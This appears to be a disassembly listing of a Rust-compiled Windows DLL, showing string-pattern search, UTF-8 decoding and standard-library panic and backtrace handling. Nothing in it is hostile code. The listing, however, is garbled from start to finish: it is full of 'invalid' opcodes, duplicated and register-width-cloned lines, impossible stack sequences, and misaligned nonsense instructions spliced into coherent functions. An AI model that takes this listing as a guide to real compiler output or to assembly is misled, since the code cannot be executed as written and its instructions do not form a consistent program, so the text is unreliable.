mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
pop rax
pop rax
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x1730], 0
je 0x18005b1cc
mov edx, 2
add byte [rax], al
mov rcx, qword [rbp + 0x1738]
mov ecx, dword [rbp + 0x1738]
call fcn.18001b8e0
mov rax, qword [rbp + 0x1748]
test dword [rax + 0x17], ecx
add byte [rax], al
mov qword [rbp + 0x16d0], rax
mov byte [rbp + 0x1754], 0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x40], dh
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x40], dh
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rsi, qword [rbp + 0x16d0]
cmp byte [rbp + 0x1754], 0
je 0x18005b270
cmp qword [rbp + 0x1490], 0
je 0x18005b24c
mov rcx, qword [rbp + 0x1498]
mov edx, 2
call fcn.18001b8e0
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r10b, 1
jmp 0x18005bdf5
lea rax, [r14 + r12]
movdqu xmm0, xmmword [r13 + r12]
movdqu xmm12, xmmword [r13 + r12 + 0x10]
movdqu xmm10, xmmword [r13 + r12 + 0x20]
movdqu xmm8, xmmword [r13 + r12 + 0x30]
movq mm0, qword [rbp + riz + 0x30]
movq mm0, qword [rbp + riz + 0x30]
pcmpeqb xmm0, xmm6
movdqu xmm1, xmmword [rbx + rax]
movdqu xmm13, xmmword [rbx + rax + 0x10]
movdqu xmm11, xmmword [rbx + rax + 0x20]
movdqu xmm9, xmmword [rbx + rax + 0x30]
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x18005babb
pcmpeqb xmm12, xmm6
pcmpeqb xmm13, xmm7
pand xmm13, xmm12
pmovmskb r8d, xmm13
test r8w, r8w
jne 0x18005bae2
pcmpeqb xmm10, xmm6
pcmpeqb xmm11, xmm7
pand xmm11, xmm10
pmovmskb r8d, xmm11
test r8w, r8w
jne 0x18005bb0b
invalid
pop qword [rax]
add byte [rax], al
test dword [rdi + 0x66000000], ecx
pcmpeqb mm0, mm6
pcmpeqb xmm8, xmm6
pcmpeqb xmm9, xmm7
pand xmm9, xmm8
pmovmskb r8d, xmm9
test r8w, r8w
jne 0x18005bb34
lea rax, [rcx + r12]
add r12, 0x40
cmp rax, rdi
jae 0x18005bb9f
mov eax, r10d
and al, 1
je 0x18005b9f0
jmp 0x18005bb9f
mov r9d, r10d
and r9b, 1
lea rcx, [rbp - 0x48]
mov rdx, r12
mov rsi, r10
call fcn.18006ad00
mov rcx, qword [rbp + 0x28]
or al, sil
and al, 1
mov r10d, eax
jmp 0x18005ba40
lea rdx, [r12 + 0x10]
mov r9d, r10d
and r9b, 1
lea rcx, [rbp - 0x48]
mov rsi, r10
call fcn.18006ad00
mov rcx, qword [rbp + 0x28]
or al, sil
and al, 1
mov r10d, eax
jmp 0x18005ba5e
lea rdx, [r12 + 0x20]
mov r9d, r10d
and r9b, 1
lea rcx, [rbp - 0x48]
mov eax, 0xe8d6894c
invalid
int1
add byte [rax], al
add byte [rax - 0x75], cl
sub byte [r8 + 8], r8b
invalid
mov eax, 0xe8d6894c
invalid
add byte [rax - 0x75], cl
sub byte [r8 + 8], r8b
invalid
and al, 1
mov r10d, eax
jmp 0x18005ba7c
lea rdx, [r12 + 0x30]
mov r9d, r10d
rol dword [rcx - 0x80], 1
loope 0x18005bb41
rol dword [rcx - 0x80], 1
loope 0x18005bb41
lea rcx, [rbp - 0x48]
lea ecx, [rbp - 0x48]
mov rsi, r10
call fcn.18006ad00
add byte [rax - 0x75], cl
sub byte [r8 + 8], r8b
invalid
and al, 1
mov r10d, eax
jmp 0x18005ba9a
add byte [rax - 0x75], cl
sub byte [r8 + 8], r8b
invalid
mov rax, qword [rbp + 0x20]
add rax, r12
mov r9d, r10d
and r9b, 1
cmp rax, rdi
jae 0x18005bc2a
test r9b, r9b
jne 0x18005bc2a
lea rcx, [r14 + 0x1f]
lea rsi, [r12 + r13]
mov qword [rbp + 0x28], rcx
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rsi]
lea rax, [r14 + r12]
movdqu xmm1, xmmword [rbx + rax]
pcmpeqb xmm0, xmm6
pcmpeqb mm0, mm6
pcmpeqb mm0, mm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pand mm1, mm0
pand mm1, mm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x18005bc12
lea rax, [rcx + r12]
mov r9d, r10d
and r9b, 1
and dword [rbp - 0x77], eax
rol dword [rcx - 0x80], 1
loope 0x18005bbff
cmp rax, rdi
cmp eax, edi
jae 0x18005bc2a
add r12, 0x10
add rsi, 0x10
test r9b, r9b
je 0x18005bbd0
jmp 0x18005bc2a
lea rcx, [rbp - 0x48]
mov rdx, r12
xor r9d, r9d
call fcn.18006ad00
mov rcx, qword [rbp + 0x28]
mov r10d, eax
jmp 0x18005bbf3
sub rdi, qword [rbp - 0x50]
lea rax, [rdi + r13]
add rax, 0xfffffffffffffff0
movdqu xmm0, xmmword [r13 + rdi - 0x10]
movdqu xmm1, xmmword [r15 + rax]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x18005bd54
and r10b, 1
jmp 0x18005bdf5
add rcx, rax
lea r9, [rcx + r11]
xor r10d, r10d
cmp r9, rdx
jae 0x18005bdf5
movzx r9d, byte [r8 + r9]
bt r14, r9
jae 0x18005bc89
lea r9, [r8 + rcx]
mov rsi, rbx
nop
cmp rsi, rax
jae 0x18005bcde
mov r10, rsi
add rsi, rcx
cmp rsi, rdx
cmp esi, edx
jae 0x18005bed1
lea rsi, [r10 + 1]
movzx r13d, byte [rdi + r10]
cmp r13b, byte [r9 + r10]
je 0x18005bcb0
sub rcx, rbx
add rcx, r10
add ecx, edx
add ecx, edx
ror dword [rax - 1], 1
shr ebx, 0xae
inc rcx
jmp 0x18005bc8c
mov r10, rbx
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
sub r10, 1
jb 0x18005b841
invalid
sti
invalid
cmp r12, rax
jae case.0x18004b2bd.176
lea r9, [r10 + rcx]
or al, 0xa
cmp r9, rdx
jae 0x18005bec2
movzx esi, byte [rdi + r10]
movzx esi, byte [rdi + rdx]
cmp sil, byte [r8 + r9]
je 0x18005bcf0
add rcx, r15
jmp 0x18005bc8c
invalid
invalid
add byte [rax], al
cmp r8, rdx
jne 0x18005bd3e
invalid
adc byte [rcx - 0x4e], al
add dword [rax + rax*8 + 0xbc850f], eax
add byte [rax], al
mov r10b, 1
test al, al
jne 0x18005bdf5
jmp 0x18005bdf2
movzx r11d, byte [rcx + r8]
movzx r10d, r11b
add dword [rbp + 0xf], eax
mov dh, 0xd3
test r10b, r10b
js 0x18005bd76
mov r9d, r10d
jmp case.0x18004b662.256
add rdi, 0xfffffffffffffff0
test r9b, r9b
setne bl
lea rcx, [rbp - 0x48]
mov rdx, rdi
call fcn.18006ad00
mov r10d, eax
or r10b, bl
and r10b, 1
jmp 0x18005bdf5
mov r9d, r10d
and r9d, 0x1f
and ecx, 0x1f
rol dword [rcx - 0x7d], 1
loope 0x18005bd9c
and ecx, 0x1f
movzx esi, byte [rcx + r8 + 1]
and esi, 0x3f
cmp r10b, 0xe0
add dword [rbx - 0x7fbec01a], eax
cli
loopne 0x18005bdfd
invalid
jb case.0x18002bb9c.1017
movzx r10d, byte [rcx + r8 + 2]
movzx r10d, byte [rcx + r8 + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
or edx, esi
or edx, esi
cmp r11b, 0xf0
jb 0x18005bddb
invalid
cmp dword [rsi + 0xf], eax
mov dh, 0x5c
add dword [rbx], eax
movzx r11d, byte [rcx + r8 + 3]
and r9d, 7
loope 0x18005bdb3
shl r9d, 0x12
shl r10d, 6
and r11d, 0x3f
or r11d, r10d
or r9d, r11d
jmp case.0x18004b662.256
invalid
stc
mov rdx, r14
call fcn.1800697a0
shl r9d, 6
or r9d, esi
jmp case.0x18004b662.256
invalid
invalid
shl r9d, 0xc
or r9d, r10d
mov r10b, 1
test al, al
jne 0x18005bdf5
cmp r9d, 0x110000
jne 0x18005be3b
xor r10d, r10d
mov eax, r10d
movaps xmm6, xmmword [rbp + 0x30]
movaps xmm7, xmmword [rbp + 0x40]
sub byte [rbp + 0x40], bh
movaps xmm8, xmmword [rbp + 0x50]
movaps xmm9, xmmword [rbp + 0x60]
movaps xmm10, xmmword [rbp + 0x70]
movaps xmm11, xmmword [rbp + 0x80]
add byte [rdi + rcx + 0x28], al
movsd dword [rdi], dword [rsi]
nop
add byte [rax], al
add byte [rdi + rcx + 0x28], al
lodsd eax, dword [rsi]
movabs al, byte [0x138c48148000000]
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movsd dword [rdi], dword [rsi]
nop
add byte [rax], al
add byte [rdi + rcx + 0x28], al
lodsd eax, dword [rsi]
movabs al, byte [0x138c48148000000]
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 1
cmp r9d, 0x80
jb 0x18005be67
mov eax, 2
cmp r9d, 0x800
jb 0x18005be67
cmp r9d, 0x10000
mov eax, 4
sbb rax, 0
add r8, rax
je 0x18005be93
cmp r8, rdx
jae 0x18005be91
cmp byte [rcx + r8], 0xbf
jg 0x18005be93
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.180069d00
fiadd word [rax]
invalid
fiadd word [rax]
add byte [rcx + rax - 7], cl
add rcx, r15
jmp 0x18005bed4
jne 0x18005be78
cmp r8, rdx
cmp eax, edx
je 0x18005bdf5
movzx eax, byte [rcx + r8]
test al, al
jns 0x18005bdf5
invalid
invalid
invalid
invalid
invalid
cmp al, 0xe0
jmp 0x18005bdf5
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
lea eax, [0x18007b9c8]
mov rcx, r10
mov rdx, rax
call fcn.1800697a0
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
mov rcx, r9
call fcn.1800697a0
iretd
fadd dword [rax]
invalid
iretd
add rcx, rbx
cmp rdx, rcx
cmp edx, ecx
cmova rcx, rdx
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
add dword [rax], eax
add dword [rax], eax
call fcn.1800697a0
int3
mov rbp, rsp
mov rax, qword [rcx]
shl rax, 1
test rax, rax
sal byte [rbp + 2], 0x5d
jne 0x18005bf01
add bl, byte [rbp - 0x3d]
pop rbp
ret
mov rcx, qword [rcx + 8]
mov edx, 1
pop rbp
jmp fcn.18001b8e0
stc
sti
invalid
stc
sti
call qword [rbp + 0x56]
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, rdx
mov qword [rbp - 0x30], rdx
push rbp
ror byte [rax - 0x73], 1
push rbp
fadd dword [rcx + 0xf]
adc byte [rax], al
push rbp
ror byte [rax - 0x73], 1
push rbp
fadd dword [rcx + 0xf]
adc byte [rax], al
movups xmmword [rbp - 0x28], xmm0
adc dword [rbp - 0x28], eax
fmul dword [r13 - 0x75]
adc byte [rcx + rcx*4 + 0x45], cl
call 0x1c1bbce87
mov r8, qword [r8 + 0x10]
mov qword [rbp - 0x18], r8
movzx r8d, byte [rcx + 0x20]
mov rsi, qword [rcx]
xor r9d, r9d
mov dh, 0x41
and byte [rax - 0x75], cl
xor dword [rbp + 0x31], eax
leave
movabs r10, 0x8000000000000000
cmp rsi, r10
mov qword [rbp - 0x10], rcx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi - 0x2a], 0x48
add byte [rax], al
or byte [rcx + rdi - 0x2a], 0x48
mov dword [rbp - 0x10], ecx
cmovne r9, rcx
leave
mov rcx, rax
call fcn.180046d40
shl rsi, 1
shl esi, 1
dec dword [rax - 0x2f]
shl esi, 1
out 0x48, al
test esi, esi
test rsi, rsi
je case.0x18004ba21.131
mov rcx, qword [rbp - 0x10]
mov rcx, qword [rcx + 8]
mov edx, 1
invalid
mov ebx, eax
call fcn.18001b8e0
invalid
mov eax, ebx
dec dword [rcx - 0x3b7cb728]
push rax
add rsp, 0x50
pop rbx
pop rsi
pop rbp
ret
adc byte [rbp + 0x56], dl
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x50]
push 0x50
mov rcx, qword [rbp - 0x10]
call fcn.18005bef0
invalid
invalid
invalid
call qword [rax + 0x20c48348]
pop rbx
pop rsi
invalid
pop rbp
ret
int3
sub rsp, 0x90
lea rbp, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x39], cl
or r14b, r15b
invalid
invalid
inc edi
add byte [r8], r8b
add byte [rax], al
add dh, al
add al, 0
mov qword [rbp - 0x18], rdx
call 0x1684b4d33
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
call 0x1684b4d33
call 0x1584b4937
mov qword [rbp - 0x28], rax
lea rax, [0x180020440]
add eax, 0xfffc444a
mov qword [rbp - 0x20], rax
lea rax, str.memory_allocation_of__bytes_failed_n
add eax, 0x2164f
add eax, 0x2164f
invalid
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x28]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x48], eax
mov qword [rbp - 0x40], 1
mov rax, rbp
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
lea rdx, [0x18007c588]
adc eax, 0x2054d
adc eax, 0x2054d
lea rcx, [rbp - 0x10]
lea r8, [rbp - 0x58]
call fcn.180021b20
mov rcx, qword [rbp - 8]
test al, al
je 0x18005c068
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x10]
jmp 0x18005c071
test rcx, rcx
je 0x18005c076
lea rcx, [rbp - 8]
call fcn.180043db0
nop
add rsp, 0x90
pop rbp
ret
add byte [rcx + rcx + 0x48], dh
lea ecx, [rbp - 8]
call fcn.180043db0
call qword [rax + 0x20c48348]
call qword [rax + 0x20c48348]
pop rbp
ret
int3
in al, dx
nop
add byte [rax], al
add byte [rax - 0x73], cl
lea rbp, [rsp + 0x80]
mov rdi, r8
lea rbp, [rsp + 0x80]
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
mov rdx, qword [rbx + 0x10]
mov qword [rbp - 0x20], rax
lea rax, [0x180021ac0]
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
mov qword [rbp - 0x10], rcx
lea rcx, [0x18005c770]
mov qword [rbp - 8], rcx
mov qword [rbp], rdx
mov qword [rbp + 8], rax
lea rax, str.thread__panicked_at_:_n_n
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x20]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 3
mov r14, qword [r8 + 0x48]
lea rdx, [rbp - 0x58]
mov rcx, rsi
call r14
mov qword [rbp - 0x28], rax
test rax, rax
je 0x18005c14a
lea rcx, [rbp - 0x28]
call fcn.180043db0
mov rax, qword [rbx + 0x18]
movzx eax, byte [rax]
lea rcx, [0x180083624]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
jmp 0x18005c175
mov rcx, rsi
mov rdx, rdi
mov r8b, 1
call fcn.18005c800
mov qword [rbp - 0x20], rax
test rax, rax
je case.0x18005c15f.3
lea rcx, [rbp - 0x20]
jmp 0x18005c1d1
xor eax, eax
xchg byte [0x18008b0e0], al
test al, al
je case.0x18005c15f.3
lea rax, str.note:_run_with__RUST_BACKTRACE1__environment_variable_to_display_a_backtrace_n
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [0x180081690]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, [rbp - 0x20]
mov rcx, rsi
call r14
mov qword [rbp - 0x58], rax
test rax, rax
je case.0x18005c15f.3
lea rcx, [rbp - 0x58]
call fcn.180043db0
nop
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
movzx eax, byte [0x18008b222]
mov rax, qword [rdx + 0x48]
mov byte [rbp - 1], r8b
lea rdx, [rbp - 1]
mov qword [rbp - 0x18], rdx
lea rdx, [0x180059d40]
lea edx, [0x180059d40]
mov qword [rbp - 0x10], rdx
lea rdx, [0x180081490]
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 1
add byte [rax - 0x39], cl
fadd dword [r8]
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
call 0x1485b51d0
add byte [rax - 0x39], cl
fadd dword [r8]
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
call 0x1485b51d0
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x48]
mov eax, 0x7d80d0ff
clc
add byte [rbp + 0xf], dh
mov eax, 0x7d80d0ff
clc
add byte [rbp + 0xf], dh
mov rcx, qword [0x18008b2f8]
shl rcx, 1
test rcx, rcx
jne 0x18005c91b
xor ecx, ecx
xchg byte [0x18008b221], cl
outsb dx, byte [rsi]
jmp 0x17985c8b7
add dh, byte [rbp + 0x13]
lea rcx, [0x18008b221]
mov rsi, rax
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov esi, ecx
mov ebx, r8d
mov ebx, eax
mov rdi, rdx
call fcn.18006a6d0
add byte [rax], al
mov rdx, rdi
mov r8d, ebx
mov rcx, rsi
xor al, 1
mov dword [rbp - 8], eax
jmp 0x18005c843
invalid
dec dword [rax - 0x77]
invalid
mov rsi, rax
call fcn.18006a6d0
add byte [rcx - 0xf76b73f], cl
add byte [rcx - 0xf76b73f], cl
test cl, cl
jne 0x18005c8ab
inc esi
add eax, 0x2e8eb
mov byte [0x18008b222], 1
jmp 0x18005c8ab
add ecx, ebp
outsd dx, dword [rsi]
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x70]
lea rcx, [0x18008b221]
lea ecx, [0x18008b221]
mov edx, dword [rbp - 8]
clc
call fcn.180048990
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
shl r8, 4
lea rdx, [0x180081690]
add r8b, byte [rax]
add r8b, byte [rax]
nop dword [rax]
add byte [rax], al
test r8, r8
je 0x18005c9cc
mov r10d, dword [rax + 0x10]
add rax, 0x10
add r8, 0xfffffffffffffff0
test r10, r10
je 0x18005c9b0
mov rdx, qword [rax + 8]
jmp 0x18005c9cf
xor r10d, r10d
mov ecx, 0xfffffff4
mov r8, r10
pop rbp
jmp fcn.180044160
ja case.0x1800484d2.247
invalid
invalid
ja case.0x1800484d2.247
dec esp
int3
sub esp, 0x40
lea rbp, [rsp + 0x40]
mov rax, qword [rcx + 0x10]
test rax, rax
jne 0x18005c9ff
lea rcx, str.library_std_srcpanicking.rsBox_dyn_Any__unnamed_
call fcn.180069bb0
mov rdx, qword [rcx + 0x18]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rdx
lea rcx, [rbp - 0x18]
call fcn.18005ca20
add ah, cl
add ah, cl
int3
in al, dx
invalid
add byte [rcx], dh
shr bl, cl
cmovs eax, dword [rbp + 0x483e75d2]
mov edx, dword [rax]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
movzx eax, byte [rax + 0x21]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], cl
lea rdx, [0x18007d860]
lea rcx, [rbp - 0x28]
call fcn.18005cb20
mov qword [rbp - 0x10], rax
movabs rax, 0x8000000000000000
add byte [rax - 0x27ba76b8], al
add byte [rax - 0x27ba76b8], al
mov dword [rbp - 0x28], eax
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x10]
mov ecx, dword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
mov dh, 0x48
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
mov dh, 0x48
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
lea rdx, fcn.18005bef0
add al, byte [rax]
lea rcx, [rbp - 0x28]
call fcn.18005cb20
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
add byte [rdi], cl
or ecx, dword [rdi]
invalid
invalid
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x30
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
je 0x18005cb18
mov rcx, qword [rbp - 0x20]
mov edx, 1
call fcn.18001b8e0
sti
invalid
sti
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
pop rbp
ret
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x118
in al, dx
sbb byte [rcx], al
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x90], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rdi]
mov dh, 0x85
clc
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
lock add byte [rax], al
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x39], cl
test dword [rax - 0x2000000], edx
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
lock add byte [rax], al
invalid
add byte [rax], al
add al, dh
inc qword [0x18008b2f8]
lock inc qword [0x18008b2f8]
jle 0x18005d238
fiadd dword [rsi]
add byte [rax], al
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov ecx, dword [0x18008b304]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
add byte [rax - 0x75], cl
or al, 0xca
cmp byte [rcx + 0x40], 0
add byte [rax], al
add byte [rax], al
jne 0x18005d2c8
test dword [rdi + rax], eax
add byte [rbx + 0x2e77a0d], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
add byte [rax], al
mov ecx, dword [0x18008b304]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
inc qword [rcx + 0x38]
retf 0xff48
mov byte [rcx + 0x40], 1
lea r14, [0x180081690]
add al, byte [rax]
add byte [rax], al
add dword [rbp + rcx*4 + 0x35], ecx
in al, 0x4a
add al, byte [rax]
mov qword [rbp + 0x28], r14
lea rcx, [0x18007d8b0]
or eax, 0x20cf9
or eax, 0x20cf9
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], r8
mov qword [rbp + 0x40], r9
mov byte [rbp + 0x48], bl
xor byte [rcx + rcx*4 + 0x45], cl
cmp byte [rcx + rcx*4 + 0x4d], cl
mov byte [rbp + 0x48], bl
mov byte [rbp + 0x49], al
mov eax, dword [0x18008b230]
add eax, 0x2e661
add eax, 0x2e661
cmp eax, 0x3ffffffd
ja 0x18005cbe3
lea ecx, [rax + 1]
lock cmpxchg dword [0x18008b230], ecx
out 2, al
invalid
je 0x18005cbe8
out 2, al
add byte [rbp + rax - 0x18], dh
call 0x18f05cccb
add byte [rax], al
movzx eax, byte [0x18008b238]
cmp qword [0x18008b240], 0
out 2, al
add byte [rax], al
mov rax, qword [rdi + 0x20]
jne 0x18005cc4e
call fcn.18006aed0
add byte [rax], al
movzx eax, byte [0x18008b238]
cmp qword [0x18008b240], 0
out 2, al
add byte [rax], al
out 2, al
add byte [rax], al
mov rax, qword [rdi + 0x20]
jne 0x18005cc4e
and byte [rbp + 0x51], dh
mov byte [rbp + 0x8f], 1
add byte [rcx], al
mov rcx, rsi
call rax
mov rsi, rax
mov rdi, rdx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdx
cmp byte [rbp + 0x49], 0
jne 0x18005ccd9
mov eax, dword [0x18008b304]
add eax, 0x2e6dd
fucom st(6)
add al, byte [rax]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
cmp qword [rax + 0x38], 1
jbe 0x18005cce5
add dword [rdi], ecx
xchg byte [rbx - 0x3a000000], ah
mov byte [rbp + 0x88], 1
mov byte [rbp + 0x88], 1
jmp 0x18005ce57
add al, byte [rax]
add dh, al
test dword [rdi + 0x1000000], ecx
mov byte [rbp + 0x8f], 1
mov rcx, rsi
call rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdx
mov rcx, qword [0x18008b240]
mov rax, qword [0x18008b248]
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x8f], 1
lea rdx, [rbp + 0x28]
call rax
mov ecx, 0xffffffff
lock xadd dword [0x18008b230], ecx
dec ecx
mov eax, ecx
and eax, 0xbfffffff
cmp eax, 0x80000000
jne 0x18005ccaa
mov byte [rbp + 0x8f], 0
call fcn.18006ae00
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x40], 0
test bl, bl
je 0x18005cd3d
mov byte [rbp + 0x8f], 0
call fcn.18004d6d0
jmp 0x18005cf65
add al, byte [rax]
invalid
add al, ch
cld
or edi, edi
invalid
add al, byte [rax]
add dh, al
test dword [rax + 0x3000000], ecx
add byte [rbx], al
mov byte [rbp + 0x88], 3
add byte [rbx], al
jmp 0x18005ce57
movzx eax, byte [0x18008b220]
mov dh, 5
xor al, 0xe5
add al, byte [rax]
movzx eax, al
ror byte [rax - 0x73], 0xd
imul eax, dword ds:[rdx], 0x4634800
or dword [rax + 1], 0xc6e0ffc8
jmp rax
invalid
lea rcx, [0x180083634]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne case.0x18005553b.57
mov byte [rbp + 0x8f], 1
test dword [rdi + 0x1000000], ecx
lea rdx, str.RUST_BACKTRACEfailed_to_write_the_buffered_data
lea rcx, [rbp - 0x18]
mov r8d, 0xe
call fcn.180048cb0
mov rax, qword [rbp - 0x18]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x18005cded
mov al, 3
mov sil, 2
jmp 0x18005ce42
mov dword [rbp + 0x68], 0
mov byte [rbp + 0x6c], 0
lea rax, str.thread_caused_non_unwinding_panic._aborting._n
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], r14
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
lea rax, [rbp + 0x68]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 0
lea rdx, [0x18007c588]
lea rcx, [rbp - 0x40]
lea r8, [rbp - 0x18]
call fcn.180021b20
mov rcx, qword [rbp - 0x38]
test al, al
je 0x18005cdb9
test rcx, rcx
lea rax, str.formatter_error
add al, byte [rax]
add al, byte [rax]
cmovne rax, rcx
jmp 0x18005cdd0
mov sil, 1
jmp 0x18005ce48
mov sil, 2
jmp 0x18005ce48
xor esi, esi
jmp 0x18005ce48
test rcx, rcx
je 0x18005cdce
mov byte [rbp + 0x8f], 0
lea rcx, [rbp - 0x38]
call fcn.180043db0
xor eax, eax
mov qword [rbp - 0x40], rax
mov byte [rbp + 0x8f], 0
lea rcx, [rbp - 0x40]
call fcn.180043d90
mov ecx, 7
int 0x29
ud2
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
cmp rdx, 4
je 0x18005ce0d
cmp rdx, 1
jne 0x18005ce2e
cmp byte [rcx], 0x30
sete sil
add sil, sil
jmp 0x18005ce30
mov edx, dword [rcx]
bswap edx
xor r8d, r8d
cmp edx, 0x66756c6d
setae r8b
cmp edx, 0x66756c6c
sbb r8d, 0
sete sil
jmp 0x18005ce30
xor esi, esi
test rax, rax
je 0x18005ce3f
mov edx, 1
call fcn.18001b8e0
lea eax, [rsi + 1]
mov byte [0x18008b220], al
mov byte [rbp + 0x88], sil
